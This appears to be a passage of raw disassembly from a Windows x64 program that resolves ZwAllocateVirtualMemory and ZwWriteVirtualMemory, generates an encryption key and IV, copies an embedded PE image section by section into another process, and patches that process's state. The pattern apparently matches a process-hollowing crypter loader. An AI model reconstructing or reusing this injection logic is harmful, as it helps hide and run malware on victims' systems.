nop
lea rcx, [rbp + 0x530]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5a8]
call fcn.14000a020
jmp 0x1400093c3
mov edi, 4
mov rax, qword gs:[0x58]
add rdi, qword [rax]
mov eax, dword [rdi]
cmp dword [0x142e41870], eax
jle 0x14000879d
lea rcx, [0x142e41870]
call fcn.14000e140
cmp dword [0x142e41870], 0xffffffff
jne 0x14000879d
mov edx, 0x20
lea rcx, [0x142e418a0]
call fcn.14000aa70
lea rcx, [0x14000fce0]
call fcn.14000e598
nop
lea rcx, [0x142e41870]
call fcn.14000e0d4
mov eax, dword [rdi]
cmp dword [0x142e41864], eax
jle 0x1400087e6
lea rcx, [0x142e41864]
call fcn.14000e140
cmp dword [0x142e41864], 0xffffffff
jne 0x1400087e6
mov edx, 0x10
lea rcx, [0x142e41878]
call fcn.14000aa70
lea rcx, [0x14000fc70]
call fcn.14000e598
nop
lea rcx, [0x142e41864]
call fcn.14000e0d4
cmp byte [0x142e41850], 0
jne 0x140008834
lea rcx, [0x142e418a0]
call fcn.14000aa00
mov rcx, rax
mov edx, dword [0x142e418b0]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x140008859
lea rcx, [0x142e41878]
call fcn.14000aa00
mov rcx, rax
mov edx, dword [0x142e41888]
call qword [sym.imp.libcrypto_3_x64.dll_RAND_bytes]
test eax, eax
je 0x140008859
mov byte [0x142e41850], 1
lea rdx, str.ZwWriteVirtualMemory
mov rcx, qword [0x140019320]
call fcn.140004360
mov qword [rbp + 8], rax
test rax, rax
jne 0x140008881
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory.
jmp 0x140008860
lea rdx, str.Error_generating_key_or_IV.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400086b0
lea rcx, [rbp + 0x658]
call fcn.140003570
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x658]
call fcn.140004440
nop
lea rcx, [rbp + 0x640]
call fcn.140003570
lea rdx, [rbp + 0x658]
lea rcx, [rbp + 0x640]
call fcn.1400045d0
nop
mov rax, qword [rbp + 0x640]
mov rsi, qword [rax]
mov r9d, dword [r15 + 0x54]
lea rax, [rbp + 0x700]
mov qword [rsp + 0x20], rax
lea r13, [0x1400170d0]
mov r8, r13
mov rdx, qword [rbp - 0x30]
mov rcx, qword [r14]
call rsi
mov rdi, r12
cmp r12w, word [r15 + 6]
jae 0x140008952
mov rbx, r12
mov r12, qword [rbp - 0x38]
nop dword [rax]
movsxd rax, dword [0x14001710c]
add rax, rbx
mov r9d, dword [rax + r13 + 0x118]
mov r8d, dword [rax + r13 + 0x11c]
add r8, r13
mov edx, dword [rax + r13 + 0x114]
add rdx, qword [rbp - 0x30]
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [r14]
call r12
test eax, eax
je 0x140008a3a
inc rdi
add rbx, 0x28
movzx eax, word [r15 + 6]
cmp rdi, rax
jb 0x140008900
xor r12d, r12d
mov rdx, qword [rbp + 0xa8]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x30]
mov rcx, qword [r14]
call rsi
test eax, eax
je 0x140008afb
mov edx, 0xfffffff7
mov rcx, qword [r14]
call qword [0x142e41830]
nop
lea rcx, [rbp + 0x640]
call fcn.14000a020
nop
lea rcx, [rbp + 0x658]
call fcn.14000a020
nop
lea rcx, [rbp + 0x600]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x620]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x588]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x550]
call fcn.14000a020
nop
lea rcx, [rbp + 0x568]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x508]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x4f0]
call fcn.14000a020
nop
lea rcx, [rbp + 0x530]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5a8]
call fcn.14000a020
mov eax, 0xfffffff7
jmp 0x1400093c8
mov edx, 0xfffffff8
mov rcx, qword [r14]
call qword [0x142e41830]
nop
lea rcx, [rbp + 0x640]
call fcn.14000a020
nop
lea rcx, [rbp + 0x658]
call fcn.14000a020
nop
lea rcx, [rbp + 0x600]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x620]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x588]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x550]
call fcn.14000a020
nop
lea rcx, [rbp + 0x568]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x508]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x4f0]
call fcn.14000a020
nop
lea rcx, [rbp + 0x530]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5a8]
call fcn.14000a020
mov eax, 0xfffffff8
jmp 0x1400093c8
mov eax, dword [r15 + 0x28]
add rax, qword [rbp - 0x30]
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x20]
mov rcx, qword [r14 + 8]
call qword [rsp + 0x58]
lea rcx, [rbp + 0x6c0]
call fcn.140003940
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000aa00
mov rdx, rax
mov rcx, qword [0x140019320]
call fcn.140004360
test rax, rax
jne 0x140008ba1
lea rdx, str.Failed_to_get_address_of
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [rbp + 0x6c0]
call fcn.14000b590
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x640]
call fcn.14000a020
nop
lea rcx, [rbp + 0x658]
call fcn.14000a020
jmp 0x140006aee
lea rcx, [rbp + 0x6e0]
call fcn.140003250
nop
lea rcx, [rbp + 0x6e0]
call fcn.14000aa00
mov rdx, rax
mov rcx, qword [0x140019320]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, qword [r14 + 8]
call rax
test eax, eax
je 0x140008cb5
mov edx, 0xfffffff5
mov rcx, qword [r14]
call qword [0x142e41830]
nop
lea rcx, [rbp + 0x6e0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x640]
call fcn.14000a020
nop
lea rcx, [rbp + 0x658]
call fcn.14000a020
nop
lea rcx, [rbp + 0x600]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x620]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x588]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x550]
call fcn.14000a020
nop
lea rcx, [rbp + 0x568]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x508]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x4f0]
call fcn.14000a020
nop
lea rcx, [rbp + 0x530]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5a8]
call fcn.14000a020
mov eax, 0xfffffff5
jmp 0x1400093c8
lea rcx, [rbp + 0x6e0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x6c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x640]
call fcn.14000a020
nop
lea rcx, [rbp + 0x658]
call fcn.14000a020
nop
lea rcx, [rbp + 0x600]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x620]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x588]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x550]
call fcn.14000a020
nop
lea rcx, [rbp + 0x568]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x508]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x4f0]
call fcn.14000a020
nop
lea rcx, [rbp + 0x530]
call fcn.14000aa10
nop
lea rcx, [rbp + 0x5a8]
call fcn.14000a020
xor eax, eax
jmp 0x1400093c8
lea rdx, str.ZwAllocateVirtualMemory_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000b370
mov rcx, rax
lea rdx, [0x14000b550]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0xfffffffa
mov rcx, qword [r14]
call qword [0x142e41830]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140008df5
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008def
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008def
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140008e53
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e4d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140008eb1
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008eab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008eab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140008f0f
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140008f6d
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140008fdc
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fc4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008fc4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140009021
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000901b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000901b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x14000907f
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009079
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009079
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x1400090ee
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400090d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140009133
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000912d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000912d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140009190
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000918a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000918a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov eax, 0xfffffffa
jmp 0x1400093c8
call fcn.14000e090
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x14000920f
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400091f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400091f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140009254
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000924e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000924e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x520]
cmp rdx, 0xf
jbe 0x1400092b2
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400092ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400092ac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x518], r12
mov qword [rbp + 0x520], 0xf
mov byte [rbp + 0x508], 0
mov rcx, qword [rbp + 0x4f0]
test rcx, rcx
je 0x140009321
mov rdx, qword [rbp + 0x500]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009309
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009309
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140009366
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009360
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009360
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x1400093c3
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400093bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400093bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e090
nop
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x1ef0]
xor rcx, rsp
call fcn.14000e070
mov rbx, qword [rsp + 0x2050]
add rsp, 0x2000
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret